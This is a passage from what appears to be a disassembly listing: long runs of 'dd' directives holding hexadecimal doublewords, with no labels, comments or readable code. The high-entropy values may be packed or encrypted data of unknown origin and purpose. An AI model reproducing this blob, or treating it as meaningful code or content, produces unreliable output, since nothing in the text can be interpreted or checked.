0BA945F87h, 55DAD002h dd 0A890AA24h, 17FB3563h, 6A2EDD9h, 0F8B540C6h, 297D0103h dd 0C90CECEBh, 91C1D9F7h, 931C24h, 7B7C4339h, 20FA7E5Bh dd 947D4618h, 32290h, 0BEAE7399h, 706B3812h, 0F27FA900h dd 4C118B1Eh, 198C001Bh, 0A3AB0EADh, 71488250h, 40C7000Dh dd 8DDF076Fh, 11420F0Fh, 0CD413D8Fh, 404334D2h, 4C9E3CC0h dd 747B2920h, 1496AEh, 0D4C9DEABh, 0E2291617h, 0B42C9CCFh dd 631D8F00h, 2C237278h, 3FAC64BAh, 325D9600h, 53628699h dd 0A51CCA02h, 87B6D150h, 1600AFC0h, 54B7F077h, 78E8CDEh dd 0B829F5FBh, 4B5433F3h, 4CA5DAF9h, 0EF04F2A4h, 478746A2h dd 5C4B10C0h, 21151E6Bh, 0A0A7C2D0h, 63553C22h, 539BE9B7h dd 52AB2DCh, 5054F6BDh, 0FF70D751h, 0BEB3FF00h, 302D7568h dd 0A0D403E1h, 59F387FEh, 0E335F804h, 31770F7Ch, 48C5E0EDh dd 4CA8D1BBh, 0F04AE0B2h, 8BE15D3Fh, 872D1A67h, 3E08A8Ah dd 0B8E92369h, 36AD00A0h, 0C68B30E5h, 6A00D557h, 7A9F613h dd 4FCDC7h, 0EEAF31CEh, 0EBA02ED0h, 0B11DC100h, 0A84EC9E8h dd 24860288h, 0AEA3D179h, 0F7942C48h, 1BDFC400h, 5F5B165h dd 26F213E2h, 73C4027Ch, 0E8615C8Ch, 307C6163h, 96750154h dd 851DD200h, 5A15A47Bh, 0E3061C18h, 0F1DE04C2h, 334CC7A8h dd 0C690ADA3h, 90E9DBh, 0D52F6C03h, 0FCB54C7h, 31D6A711h dd 0A6401582h, 66F88470h, 0E3B51D00h, 0E15E5607h, 5833E8FFh dd 0C60F7E58h, 9D40910Ah, 8FB0D25h, 0B3A27001h, 0FC31535Eh dd 5586EE0h, 55E72E96h, 0D61C016Dh, 0D177640Bh, 1DB0346Bh dd 3BEAB31Dh, 0AD669880h, 0BC46E9h, 0FCBD6B92h, 0B8E10113h dd 176439h, 0A4690862h, 0BC397Bh, 0E71A7CBEh, 182B72F3h dd 5E5F73Eh, 0B5366441h, 0A1D4AC5Dh, 8F5A0768h, 0F0DC13D5h dd 1B6C0C3Fh, 55896AB4h, 0A00014ABh, 6BA34C13h, 2E5251h dd 72C65DB7h, 99393524h, 16A14A00h, 1857B8E7h, 1B22004Eh dd 0FC80E86Bh, 0C93828E5h, 0C356804Dh, 0A9C2D647h, 41F40077h dd 28DD9666h, 8800BAB2h, 0FC23D574h, 0C1BDAAh, 61D960A7h dd 93A40835h, 81480F00h, 0BA06BFE4h, 468B4C63h, 0C19FF41Eh dd 9B0159ACh, 8318D8D0h, 0F18CBA00h, 0EED263A6h, 968B0068h dd 0C3959E08h, 8500F5D9h, 0D067DF54h, 0BB2D3FBh, 0F4ACBB7Bh dd 0DED7EC00h, 0B60A4D07h, 8860DB64h, 3D835D1Dh, 0E8B48F70h dd 537FE0h, 6E2CD348h, 4223FC51h, 7527F500h, 0E441B64Bh dd 32BA003Bh, 1EC9C020h, 6509C40Ch, 9133FC49h, 0C70E508h dd 4F260088h, 6E28D5BDh, 0F60927E2h, 983307F8h, 9616ACh dd 6F4C4ED1h, 0F3B2F6C9h, 289B4Dh, 5A803637h, 39387FDh dd 0C33CAA27h, 0D5A0C2ABh, 1F58E703h, 7B3A00A6h, 0CCFA976h dd 0BD1D036Dh, 603605C8h, 24AF1C07h, 746ABE1Fh, 813F4E02h dd 7E84E05Dh, 0D8C4167Ah, 0ECD00269h, 0FD8704F9h, 0C050E064h dd 0D4137C76h, 0A8867143h, 0BE5200F8h, 90A1C64Dh, 2500418Eh dd 0AF6DEC06h, 0EEF4AE28h, 3E81FC91h, 6880D65Eh, 8F4D86ABh dd 94018319h, 0E5D0CD2Dh, 4825C264h, 1911FF4h, 8D32E4AAh dd 38EDFAD7h, 950105F4h, 88404631h, 8E2C850Ch, 435AF1h dd 51794E8Ch, 561F14FAh, 23A53380h, 907D5A14h, 3E9AE55Bh dd 708F445Fh, 6F801863h, 22CBE8C0h, 0FCC25800h, 0C9155703h dd 60B90073h, 4AEC1348h, 80000FD1h, 0C0971E30h, 60998D17h dd 0DC69897Bh, 4099FB62h, 13BDFA01h, 0B12EEE98h, 0AE60CCDFh dd 0DC06AE98h, 0C57B0A08h, 488700B1h, 448B5C64h, 0A8E42279h dd 70C8D700h, 0C3881965h, 28CC3D3Eh, 1E177780h, 5E67D073h dd 3C68CD59h, 681200B8h, 62149FBDh, 0D8870006h, 4EFA0584h dd 4700D597h, 51ADD1B7h, 3A4AA01h, 7018452Bh, 0B28158DEh dd 0ADF883CCh, 0F890C237h, 0DFBC0Eh, 0E0D9DA80h, 2960DE7Bh dd 7DE52701h, 0C1B7AD33h, 7C0DA840h, 714F0B5Eh, 3780B58Eh dd 1959B101h, 0FA0E2400h, 1CA4BD54h, 2D6C145Ah, 4F2C9496h dd 0E66E0050h, 0BDF0017Dh, 3409CF24h, 30A7023Ch, 904863B3h dd 0A85042D4h, 7C4DA5B0h, 0F72104B4h, 0F0E767CCh, 0EB006E4Ch dd 0BCBD11CFh, 12E915E2h, 7654648h, 3F49D6F0h, 0BE532A40h dd 0CB25D0EFh, 380D4014h, 0AD740050h, 58F1B5BBh, 51077D40h dd 0B64CDB8Dh, 0E5C7EF0Eh, 50C0AF13h, 7F3EE5h, 9C10470Dh dd 75493402h, 44A711Fh, 0CC003C2Ch, 0FF6D69C7h, 3DB2B8FCh dd 66B83C0Ch, 9A892780h, 0E94145E5h, 0DC07910Fh, 0B21D2702h dd 6F3C2C10h, 0ED5F0038h, 727547F3h, 0AD012534h, 2EA8F0BDh dd 3885400Ah, 80246C2Ah, 9EA257A4h, 65B93600h, 95EA3302h dd 60C8000Bh, 0F41AC70Eh, 7C06472Bh, 0AF2F6E59h, 0B86F0058h dd 1493BDEEh, 330082FDh, 9CA498D9h, 0EF45B0h, 0D06B0227h dd 0A11574C3h, 0A38AB600h, 840C7954h, 0ACF8A0C0h, 8C903E55h dd 0C92C5381h, 50443770h, 0A97B0ED0h, 22C56B00h, 0A49A86F3h dd 66050F12h, 0C2E0CFD2h dd 1DEAA7AFh, 1416C000h, 0ED7EA815h, 4A2F002Dh, 0C5C96854h dd 97011A09h, 657018Fh, 8887D6E6h, 0C2AFBD39h, 2C0B1FCh dd 70B2BF72h, 0A045F200h, 0E99D56E2h, 0C65ABAh, 233FE63Ch dd 11C07C61h, 0B8ECAFD0h, 207B0665h, 0B979978Fh, 0F829A900h dd 823A21BAh, 0E272A4h, 6190CF0Eh, 29F9975Dh, 0A9D84A03h dd 0F28548DBh, 68BC4982h, 3C4AC2Ch, 58DD20C8h, 929402A8h dd 0D24FBA28h, 0B2007C70h, 6984FBA4h, 7255D69Bh, 8E93009Fh dd 877618Ch, 0F744D5Dh, 3231BB60h, 1B749C3h, 0E4590DC5h dd 704689C9h, 0AF0084CFh, 4FDBF63Fh, 0F2629F68h, 28561F78h dd 0A54E8077h, 0DA2CC338h, 0AED51702h, 0C03BFAEAh, 285A4h dd 306FE6ACh, 9A98CFE8h, 4D4CFB00h, 2F404279h, 32881C9Eh dd 7A30808Bh, 299D09BDh, 4214E60h, 152ACCh, 0C30CEE86h dd 4D27F9A2h, 0A6311F07h, 4DE36D9h, 8D00804Bh, 924549E8h dd 0EAF960F3h, 73F97007h, 5E7013BBh, 0C9612Dh, 0CD6BE9DEh dd 1CAB4699h, 0A0D00E2Fh, 50E74C80h, 0FF9A007Dh, 0FDF3D18Ch dd 8800B226h, 5C3AC4FBh, 878FD7h, 0E4792A8Eh, 30B0A91h dd 80DD313Eh, 0CEE08920h, 26A67FFFh, 0CF1BEBh, 0E2FBE7F4h dd 1D09279Fh, 0A0605E97h, 2F7EA2B0h, 0B791266Eh, 0FA410004h dd 0E3857519h, 5355000h, 55132BA6h, 2C960411h, 0B7BCA222h dd 0B2BA1270h, 0FD7E5040h, 7E88806h, 3A7D94B8h, 0F0E46093h dd 3D17B2DAh, 4B0E0B72h, 0E1BBE004h, 4A3B49Ch, 0FAA1B3E9h dd 0F4E4C093h, 0E3E65C59h, 9375A839h, 54004638h, 3B27EE20h dd 23DF296h, 9AA97114h, 8C60DD4Eh, 5678DFE1h, 1109CE32h dd 6051D7h, 0E3A90AA6h, 0D01CD24h, 9E2760CEh, 0F030BE3Bh dd 6D401E82h, 0B9E600A0h, 0E15BEC14h, 6607537Ah, 4156E78Fh dd 0B61849F9h, 96A860h, 0C87940C5h, 34511D64h, 3883E000h dd 0E37CB145h, 71E601E7h, 70F710FFh, 0C1408033h, 0C4B50AB6h dd 25EF1614h, 0F9D44077h, 0A75A60F4h, 17084494h, 8CD30074h dd 44483D79h, 777F2E01h, 0E0D28ED1h, 9BCB30h, 0D925C88Fh dd 4369F579h, 16840F00h, 8FFA8D1h, 72CE01A2h, 0B3E89A9Ch dd 0E8D3E118h, 0DE009F8Dh, 4A549B0h, 1C92CEh, 0C82D192Eh dd 0B51F7BC5h, 2A139400h, 49ABBCFFh, 11ECC2h, 0B22BFEEEh dd 2CBB0770h, 38ECFC03h, 0B1D53E1Fh, 8FF0A451h, 0E4C63C9Fh dd 0F7868780h, 0D69566B3h, 331E4FE0h, 0C00379D2h, 0C02747D3h dd 299CC5h, 0AF08EAC8h, 9BA6E4F9h, 62B02B00h, 8152F8B5h dd 13412A78h, 0D7820094h, 790ACDAh, 2000FFC9h, 43B86BFCh dd 19F6927h, 5B8E9B40h, 0D44DF871h, 17CDDFFh, 0F10C1E00h dd 213DAEEFh, 0EEAF00E4h, 7DCC2BB8h, 8A00BFFEh, 6AC9D57Bh dd 1B2473Ch, 0F9690634h, 0ACFD0F9Eh, 3E00FC20h, 537C8990h dd 2440B048h, 1D83776h, 3AA18584h, 8028786Ah, 0AC6D219Eh dd 1FA87772h, 40BEB407h, 80D55FFEh, 2704FAD8h, 6C84ED26h dd 0D4E08485h, 62EC0073h, 68E81DBEh, 9704B5B7h, 0C7C54B9Dh dd 6EA088C0h, 25F60EA3h, 91077B08h, 1B800F4Eh, 0EBED7596h dd 4D26F800h, 35199DF4h, 5BBA0024h, 0DF2DB861h, 0A100BB71h dd 0A2559AE3h, 48C4B3h, 44D78976h, 0F94E9942h, 0D3A10C1Dh dd 413E430Eh, 0D8D4E5D0h, 0F33C5028h, 2505450Fh, 3C84E80h dd 0F561C091h, 0F81AC660h, 0BB1DE47Dh, 1EE81305h, 0EE12438Bh dd 0D1F0E61Ch, 6960B5E5h, 46D03C51h, 0CD1F050Ah, 85161227h dd 8490915Ch, 14F10D6h, 0BA45007Bh, 23F9AB3Fh, 0E91DC072h dd 46D63ED7h, 994B5400h, 8736DEh, 0E6F3B35h, 910605BEh dd 0A8750100h, 785E82EFh, 123416CDh, 40B61C08h, 54227C70h dd 2E5C8D03h, 0B02380ECh, 6130BBh, 672FFC52h, 31CDF3F0h dd 0E0DF9407h, 36E0507Eh, 30EBB4h, 1AC1921Eh, 0E52E2FD3h dd 230D0900h, 78EF3647h, 610C258Bh, 9FCE7000h, 501E5C0Ah dd 9180CD19h, 8E34AD7Ch, 8B7F069Ah, 980E714Bh, 0EA00B590h dd 6DF9A6B6h, 0B0B95E39h, 80744ADCh, 0AA2CFB10h, 9ED49101h dd 7FA1864Fh, 0B7BF4h, 0B366D861h, 85BC90F3h, 0CDF0E8A0h dd 0F4EA9D08h, 22412C97h, 498500C0h, 5FB619DEh, 0E9B850EBh dd 0D41E0801h, 9F251A9Ch, 68334087h, 7C4489CEh, 834DB400h dd 241D8F85h, 696501F8h, 0D948DE23h, 0D80C24CBh, 4AF19F00h dd 3E3D7F44h, 10D4001Fh, 8CB1080Dh, 3F03AB5Ch, 7F91D68Ah dd 5080CA33h, 0D21800B0h, 7AB94317h, 84003DF1h, 4F53333Fh dd 38E25Ch, 2AAE7416h, 0BFCCB9F5h, 0AC32D20Fh, 92FA6068h dd 0B4E3BE60h, 360A0323h, 9FC0DC62h, 2C7F5F83h, 0A61FD10Bh dd 9684A81Dh, 50448902h, 0E3F9E0F2h, 27CB0A3h, 7DD38A78h dd 7CEBF833h, 597CB0E8h, 87672500h, 0C3F4E506h, 2FEE00ADh dd 94F82D66h, 9A604131h, 32840158h, 0C8450324h, 22F3BBFFh dd 0B77C93DFh, 7459F5C0h, 9A826912h, 0FBACA0h, 0D147F2D6h dd 5F5A8756h, 0C9B6D812h, 0F3168F0h, 20FEEC95h, 40C6E947h dd 47F3699Dh, 84C0984Ah, 935DDh, 7A6C2F60h, 0C7B09F7Dh dd 0C540D30Fh, 0B350E0B2h, 23D8F1Fh, 10359D52h, 0ACD83B73h dd 0F918E4FBh, 7DB6D400h, 6AD6DDD1h, 2543FEA3h, 6CE00774h dd 0C9005392h, 0E67CED42h, 6BC413h, 9955F616h, 8E596D8Ch dd 0B4190C04h, 0F092A6B0h, 40E85EA4h, 398441FDh, 1F356A00h dd 727F0A03h, 0DC8700DAh, 0AF019843h, 6607D9C9h, 0A107FF50h dd 2391E980h, 0E9D34854h, 0F94F060h, 0F92FD104h, 40242983h dd 5027CD8h, 8503DBB0h, 10D6C117h, 0C442E4BCh, 4039CF0Ah dd 9880E4E7h, 0C715C303h, 0B9230E5Eh, 0CFE1F82Eh, 301F01D4h dd 5B008440h, 0CCD8900Bh, 0E2D237DAh, 0FC703EAh, 30158FCEh dd 0D6BE2900h, 1485D39Ch, 0A5C1003Ah, 607E1A95h, 0A20094CAh dd 89C39F1Ch, 0C10914B3h, 6776C6B8h, 5BDC304Bh, 8C77C41Eh dd 6E444140h, 5D053A78h, 8B0030DCh, 3118814Ah, 9D034728h dd 0F78C4B76h, 8180AD20h, 2FB3C487h, 2080A172h, 328C7F70h dd 7B534700h, 93781A8Dh, 0D88105D2h, 8608913Fh, 29040884h dd 6B7932ACh, 0E021B8A0h, 785624C4h, 0F6E88FD4h, 0F0BD6180h dd 3F00FA37h, 1CAF1EB7h, 75598CEh, 6748EC9Fh, 0A2163073h dd 0E500414Dh, 438D7E20h, 133CEDA9h, 93B06E3Ah, 0E488DDFCh dd 63B8407Eh, 71E09E00h, 344A82A4h, 5478C487h, 2CB2CAh dd 6D044F3h, 13ACFD7Dh, 15C53DEh, 7135B7F9h, 332CE10Bh dd 450F0FDCh, 0EA37006Bh, 0C1655Bh, 7D6791F1h, 0F633326Fh dd 7B00CBF2h, 0E7E8FBECh, 0DC4668h, 8CCEDB7Fh, 710DCCD7h dd 44E61400h, 7B513C6h, 98E52C3Ah, 926540B4h, 0E32574C7h dd 7A90E0C3h, 44C4B63Bh, 74FC807Ch, 0D9004DAFh, 4E8D6E32h dd 0A1AE698h, 0B07B0287h, 70B58FA8h, 0EB563DE0h, 15077AD1h dd 0C503C693h, 0BE685270h, 49604A12h, 94455FA4h, 945841F0h dd 776C8060h, 7843E6D6h, 3371B660h, 0F0F5D74Ch, 0E8AF020Ah dd 38644B39h, 6310ACD9h, 13D65FC1h, 0C708856Ch, 34E255EEh dd 48CB3F00h, 72012D68h, 0A40738h, 2E3D90F2h, 9539EAh dd 365BF06Ch, 0A9EC2A7h, 0B537660Fh, 0B21E8C33h, 0BEC128EBh dd 0EF8F070Ch, 0E2E16556h, 58D8F5FCh, 18E9C212h, 0CEB6A097h dd 881F7B8h, 0EF21C4B4h, 0FB104124h, 701C4701h, 415E56DFh dd 8BA1400h, 0A795C069h, 6B9B1296h, 3CA88CBFh, 0BD977000h dd 0BB912AB6h, 72E000CBh dd 2C65EFC3h, 8E005B04h, 0B048D09Eh, 0CFB184h, 0BFC3E543h dd 989732A0h, 0C1E60A00h, 36BB480h, 4C421E09h, 0F0C907EFh dd 3200EFA7h, 0AA63C0A1h, 8407D900h, 0DA1ABEDBh, 9CB3005Bh dd 2BBFF593h, 0B90017CDh, 0ED586BD9h, 0EEEBA6h, 37B562C9h dd 419D8868h, 0CFBE4Eh, 9BF07A1h, 0E15F0474h, 16FFCAE4h dd 801E0FB1h, 6A94A8B0h, 7F3E2F02h, 78686255h, 5CE30724h dd 0DEDCA17Ah, 0CDE0EB0Eh, 638F43C9h, 0BACAD00h, 453671B4h dd 90A4B089h, 38A6606Ch, 82A2795Dh, 50E9860Bh, 918C8580h dd 0DE7444C0h, 98BA005Eh, 0CBCEB21Ah, 0AC006CEFh, 0D295BF46h dd 9D8F66h, 0DAC19A42h, 4C7164DBh, 7C200B26h, 77F81F07h dd 69272F80h, 9437490h, 8A9106FBh, 3295E4C8h, 477C0E12h dd 0CBD58881h, 1E27DC12h, 9FDEE660h, 7EC417CCh, 876100F8h dd 6BD152A5h, 0E800F898h, 36515F8Eh, 5DAA3DC9h, 7A0978A8h dd 0DC80332Ch, 1BFEC668h, 0DA39BE05h, 9200F5F6h, 72ED2F3Ch dd 754F2C04h, 0F1A1013Ch, 0AED40726h, 0CB007C58h, 9D141331h dd 80230287h, 0F034573Bh, 205BCC69h, 0F500882Ch, 0F2F7E28Fh dd 5E638A5h, 6A65B6E7h, 3AB0C83Dh, 5A72181Ch, 0F3D18D00h dd 310B80Eh, 6E3EE3C3h, 0C7D0F6C9h, 0FB0094DEh, 0ACAB1C72h dd 0E84225h, 48832D81h, 288F2F5Bh, 92E0DCA0h, 0B436EC00h dd 10E86F73h, 0C5300081h, 0FD3B9B7h, 4814AF63h, 3EAC88E2h dd 95E7C4A0h, 0C91BE880h, 8A0363C4h, 4DA15B2Fh, 0EC94E1EFh dd 351F730h, 2CF49E97h, 80FC933Ah, 32A59B9Ah, 27CB0201h dd 24891C4Ah, 0B500F06Dh, 48FF9A12h, 30904CA9h, 0AB223B00h dd 0ECAA32F0h, 0DDC609CFh, 94110263h, 0D9D1E43Ah, 9B05037Fh dd 0BC16337Dh, 5522DC40h, 0F5E8090h, 587A8420h, 7D21FBE0h dd 517B438Eh, 0E032B83Ch, 0D9CC59F2h, 0AD4AEEh, 6E38ED3Ch dd 54943114h, 40476389h, 39F5AC9Ch, 11E054A1h, 3D32B4C3h dd 0C6951F00h, 6369BC19h, 1C7E22Eh, 0D3502BB5h, 80EEAAE9h dd 3D667A99h, 4A695254h, 339807EFh, 2BCCA2E0h, 2AA98CE0h dd 0F041BE01h, 84A5BA24h, 9D03F424h, 0D8962827h, 265A2000h dd 0B054F3Dh, 0FEEEB017h, 0CFD29A60h, 3E64C231h, 0E3E66A92h dd 755FC0D0h, 4EF80096h, 0DA91EAF6h, 6E0063BAh, 0A8BA11Fh dd 4C39CD3Ch, 5907CD17h, 40AB059Ch, 0F6209633h, 0E50297F0h dd 3FACBBADh, 7B056DFh, 2311AEF7h, 38CECA6Ch, 0CC039200h dd 0CE94170Ah, 82FC07ABh, 0E0BE3D80h, 0C6CAF8B5h, 3915297Dh dd 278CC8DCh, 2098441Ch, 0DA003B32h, 0AE34BF41h, 7978F533h dd 0E95730DEh, 6A12FBB8h, 0C5BBD500h, 0B465595Ch, 0E7342D33h dd 0CA00146Ch, 9D27960Dh, 5986DAh, 0E7173B6Ah, 0E8DD2530h dd 6B89BC00h, 7B47F21Bh, 0BE7A026Ch, 0CAF372C5h, 5185C0E0h dd 24F30B58h, 0C1CCCF9h, 0D21201FFh, 0C8E6572Ch, 9DEFECh dd 9E38413Fh, 6A934069h, 7FEAE800h, 6B617106h, 3AB8BEDCh dd 7543A80Ah, 10D909D2h, 8634A821h, 0A1CDCC8Ch, 2421CF00h dd 0EF6D4A18h, 283D2777h, 93BCBC00h, 0C95E8DE8h, 81312000h dd 3A8AA3A9h, 0D6803C8Eh, 894E841Ch, 0E749F546h, 83540F50h dd 0B40D8A50h, 2400A492h, 0ACC9E801h, 5CAA003Eh, 1C85E0BAh dd 725C79Eh, 3A9CA0C2h, 43F53D1h, 26308ABCh, 685CD087h dd 0AB0354C9h, 1CE8F215h, 5300B79Dh, 0A59D4h, 62DBC0CCh dd 0CDD8A12Dh, 1931DD01h, 7A067057h, 7544420h, 826A02FCh dd 594F9068h, 830376DEh, 0C85052D5h, 3967FFD3h, 0ADB0AAA0h dd 97EA02FBh, 4CE6DA6Ch, 57F65C40h, 0F18A6A01h, 0EF02F0B2h dd 0D1EECh, 193DC108h, 407D081h, 488AA500h, 0F00E5906h dd 0DA9801E1h, 6571829Dh, 54E0DBA7h, 0D600C9B3h, 0E3391061h dd 0FD0AF8A5h, 0C407ECh, 1A339F4Dh, 0C9C7EAD7h, 0AD8AE900h dd 9A945BA8h, 0FB140089h, 0BDE1FA99h, 7250246Ch, 109095F8h dd 0DF085400h, 0EDFE4698h, 0A3B450FFh, 0E2A1051Eh, 0C71C69h dd 84E88D0h, 9C014979h, 6B9D027h, 26A8733h, 9BDCA6C8h dd 0BF07C4A2h, 23C27F20h, 14AD003Bh, 6DD6B9FDh, 0D500B451h dd 0F74A046Ah, 0FC1D90Ch, 1156C02Fh, 7329CF01h, 0FB43EC95h dd 8C350524h, 1BB9C605h, 5E1C88h, 9E1539D8h, 0C3B80519h dd 28FBFC09h, 58E880ADh, 95D7FAh, 1E428794h, 0E895AB3h dd 0BA1BC31Fh, 0E1CBDC00h, 0DBCFE6h, 0F7E4C663h, 7513ED45h dd 2D1DE8FFh, 0ABEA9612h, 5E2530A4h, 45E80581h, 5F5780F2h dd 0F94C0584h, 0D6120028h, 0C50B0E16h, 71E4F020h, 0D8E804BAh dd 83269650h, 90D8A628h, 3A1E6795h, 0D081614Ch, 0FE456B1Eh dd 1008428h, 0D87B439Dh, 1600F47Dh, 82A3060Bh, 4C0CC7D9h dd 4A136509h, 12FC40F2h, 3D49BA27h, 6A0051EEh, 8118FDECh dd 0D803E624h, 77B03490h, 0B0D9BD26h, 15F69800h, 249EC051h dd 0FC49EDh, 0BB8F9543h, 0B50B7A1Fh, 0C6E95CE7h, 160C4324h dd 3CE09BCBh, 0AAE02C3h, 6B22C4B3h, 76E0E452h, 0FC4739D7h dd 0A840C6C4h, 3C903FE6h, 0FDBFE214h, 0A50D7C80h, 0E15F4FE4h dd 0AD704C2Eh, 0C056070Bh, 0E575E26Ch, 1C393830h, 0C0FDF778h dd 0D5875266h, 374B64C9h, 88C22456h, 8E632073h, 4E005C7Ch dd 0B79D9C07h, 0E66064h, 0F5B4FE37h, 6CEB538Bh, 382AD500h dd 1C3EE8C4h, 0EDDFECD1h, 70DA80D7h, 43390359h, 0AB8C08C1h dd 0CDC060B0h, 75A82004h, 84D76619h, 561C16D0h, 0C45A009Eh dd 0BC0E6B2Dh, 0E30DECB7h, 29551AE8h, 13ABDECh, 57A7E15Bh dd 9897E9B6h, 14217008h, 0B3A01B5h, 343665F8h, 8A4983CBh dd 23C27BBFh, 0B200E550h, 0CFE15E3Ah, 73448656h, 3AAA0023h dd 30CBB1ABh, 0E554D5AEh, 730293D0h, 75B0EBF7h, 0F8605A70h dd 647B0CCDh, 311E646h, 6C1B60FFh, 6BD6E71Fh, 8CD5B78Eh dd 7A521EAh, 4B36F3E9h, 90C0271Ah, 0CEB39EEh, 5258A760h dd 30FA408h, 0FBFF75A1h, 18647E7Ch, 6F606568h, 6C2313F3h dd 0FD119Fh, 0E4F3E898h, 4B24B4h, 400699AEh, 713F1D51h dd 7E4C2C12h, 0E87D3840h, 0B0061093h, 2846004Bh, 65BC5A0Dh dd 78DBE5C6h, 6F31C088h, 3B6E0160h, 7A6500Ah, 0D7B2EC61h dd 7CDCBD00h, 3DBC3C1h, 0F73D0016h, 1DF86AB4h, 2B070E1Ch dd 0DC17D18Fh, 12CB1AE0h, 48AE004Fh, 0CFD77328h, 1B0031F5h dd 0B9113D60h, 7E0577E4h, 0A2C70083h, 9EBF7CC1h, 0D318D96Ch dd 1DE24529h, 54C3D34h, 0D492CB80h, 0F091CF2Fh, 0D9B80400h dd 0FE27892Ch, 202400F3h, 0D7973780h, 0FC00B787h, 0ACA877F5h dd 3FD9AA05h, 0C8000888h, 6CCCA58Ch, 2BF05668h, 0BD64AF00h dd 6E73441Eh, 834E0050h, 94FF409Eh, 91FA16CDh, 0C60188F4h dd 0CFB22C87h, 7A600CDDh, 4C8EE4B7h, 50248AFBh, 0D05400D1h dd 0A5D38B57h, 3AC89E00h, 0EFD22632h, 0CE810164h, 0AA158703h dd 0D13BE0F1h, 634DCD07h, 110B575h, 1D0CBB23h, 47AB7A22h dd 5D0D70h, 8BA25324h, 90B83800h, 2CA9E7Ch, 63DA0080h dd 8D6ECD7Bh, 0A800B295h, 0B7E513D1h, 3F29E2h, 93042155h dd 832AA722h, 0FEB89D00h, 9C167D88h, 0AABC1F76h, 859630BBh dd 99F8D3DCh, 240E7CB8h, 4098D4E2h, 0CDB813D5h, 3AACA084h dd 0AD7C4887h, 0CBA75C0Ch, 7200F949h, 1C31C921h, 536D28h dd 83EBE99Dh, 62769E5Ah, 45B3EC0Eh, 0E0470E51h, 4EA29375h dd 44610097h, 87C75F59h, 5167EBDCh, 7B808169h, 5CB629h dd 320F3661h, 0C55EE82Ch dd 5745FCF7h, 0FFD7E41Fh, 0C1CFBE8Eh, 0B635B585h, 3704DA40h dd 0C819016Ah, 7B095B47h, 9D6DF44Dh, 6C4EC100h, 7499D6F2h dd 55491FA3h, 87368E96h, 602E2D27h, 46B0C903h, 0D87C6802h dd 80F9EBD1h, 89A205F0h, 6CA8005Fh, 8FC0C683h, 0C27D4360h dd 0FCBC2400h, 636A1D11h, 2990081h, 9DDDC4C3h, 25004476h dd 9BDEBDD0h, 6FB12Bh, 8DF49A2Ch, 514F6C8Ah, 0F8B23F07h dd 7ED2DD7Dh, 37EDE04Dh, 1F13F0B1h, 0FE73B533h, 0B8162Ah dd 0A785DF22h, 0FE5FE6EBh, 33581090h, 0C83E1E69h, 0F225AE8Ah dd 7219000h, 1EF321Bh, 8CF1452Dh, 0EE23ABBAh, 0FD665F40h dd 42EEC00h, 0A961B27Bh, 35060E5Ah, 480FCD4Bh, 0EC4C1860h dd 1700945Dh, 52E87E44h, 19DEEA0Ch, 0A95AA12Ch, 0CEF81056h dd 889549EBh, 8D30C071h, 0A2E32EAFh, 72CC9400h, 81FA3D9Fh dd 0D24A00E4h, 0ABD59A77h, 0DD3A0C54h, 88CE2417h, 2DFF6101h dd 3631C748h, 0E6E9A430h, 0C31181Ah, 0B69FD4CCh, 0B0925800h dd 6DAF5AA4h, 8D8C065Bh, 999C3CE8h, 27156473h, 3F9CA72Ch dd 22998003h, 8E8A505Dh, 0D37414h, 0C78F3DC9h, 8CAEA3E1h dd 25F83454h, 2E48040Fh, 4244E30Fh, 0B75AE86Ch, 0BD5B0054h dd 63E216EBh, 9173ADBFh, 107A031Dh, 99BAB940h, 0E243011h dd 1B1E0BD0h, 0EF744860h, 0FBF8ED42h, 8F5B0300h, 0A76F1268h dd 0B2CF0098h, 0A96705Ah, 0C213295Fh, 0A1AF4D28h, 0BA78E4AEh dd 2EB42001h, 0CC8DF2B8h, 0ECDA2080h, 5F617C31h, 8C079E00h dd 0ACB38FB6h, 0BCA730B2h, 0C2F99464h, 0B489E31Ch, 2D753440h dd 3C425A1h, 58C96E5Ch, 2281A230h, 0B1CDC0EAh, 64084503h dd 0A002529Bh, 1715590h, 0BE049772h, 80B4741Ch, 1007D290h dd 0ECAF731h, 49F10F52h, 3224DBF4h, 0E42A2Bh, 0D435369h dd 5F8A1A77h, 90944D00h, 6EBE4585h, 0CB4E0C5Eh, 0BBB08DDFh dd 8066E13Fh, 7BC6B118h, 1FD3096Fh, 40EED91Bh, 24A2439Eh dd 0E6099538h, 8083012Ch, 0E211C614h, 0F68412BAh, 0F33C409Fh dd 40C4F57Eh, 8A8E4A8h, 269CB638h, 0B191E77h, 65F86A19h dd 146F48EDh, 91AE9C00h, 9E04DBCAh, 644834Dh, 79BD606Ch dd 0EEE0072h, 4C7E68F1h, 3E005A32h, 0FD54DB9h, 24703B5Dh dd 8934D4F6h, 0B480A7CAh, 0BB8E061Dh, 0E70044EEh, 0BD79DC45h dd 0AE21B6h, 0AFCB28A4h, 973E9893h, 8E003AE8h, 3B954D29h dd 38088385h, 673D5C94h, 9FA80180h, 0FC15FF35h, 0D9226F00h dd 5F2B4152h, 2EA7E95h, 1BFE7083h, 78C0BBCCh, 2003D8A7h dd 0C4EEECD0h, 84B68053h, 24F21F9Eh, 66E48229h, 8AE0C346h dd 600E2841h, 0A2B2778Bh, 46B0511Ah, 71EE00A8h, 23BCA116h dd 0A40043E0h, 5B1C427h, 1CA9F13Fh, 0C7A3CCACh, 7910DEBCh dd 5DC748C0h, 41904600h, 5C11CCC0h, 0FAC400D8h, 440DB3D7h dd 0D30374A6h, 0FF6F7E66h, 8AD2E9A3h, 0C0C6D2EFh, 15DFB4h dd 38298277h, 3708644Dh, 0AC674100h, 96E1726Ch, 89A9008Ah dd 45EA2FA3h, 48007F83h, 928DC561h, 0E3FFA11Ch, 9C723980h dd 21DCE007h, 8A35BC00h, 895B685Ah, 333B00D6h, 7C24BE97h dd 9200520Bh, 54162AC1h, 22C39Fh, 12E1B8A4h, 85FB74D3h dd 8CCF4D01h, 971BC861h, 4C63430h, 81F3A880h, 73B74155h dd 48248247h, 0A0D93A14h, 42813C39h, 0EAA5DF0Ah, 0E36DF821h dd 0EE4DFA00h, 0D22750F9h, 376200AAh, 8A3DA5ADh, 5500CD38h dd 2F67C063h, 39C32C8h, 0B8ACD644h, 803837FCh, 0B3D39D3Bh dd 23169803h, 3190980h, 84A0FD90h, 149FFC2Eh, 4CF4043Ah dd 0A0FE2453h, 0E918603Ch, 7E5A6Ah, 0AAB3A9DBh, 0E86B6321h dd 247C4C00h, 0C1CE980h, 0A42C009Fh, 0BCA5EBA1h, 0F87A02D8h dd 0E75AE400h, 4CD04FF4h, 0FFD115B4h, 34008C2Ch, 0B9A90483h dd 0DA73E43Dh, 50049F0h, 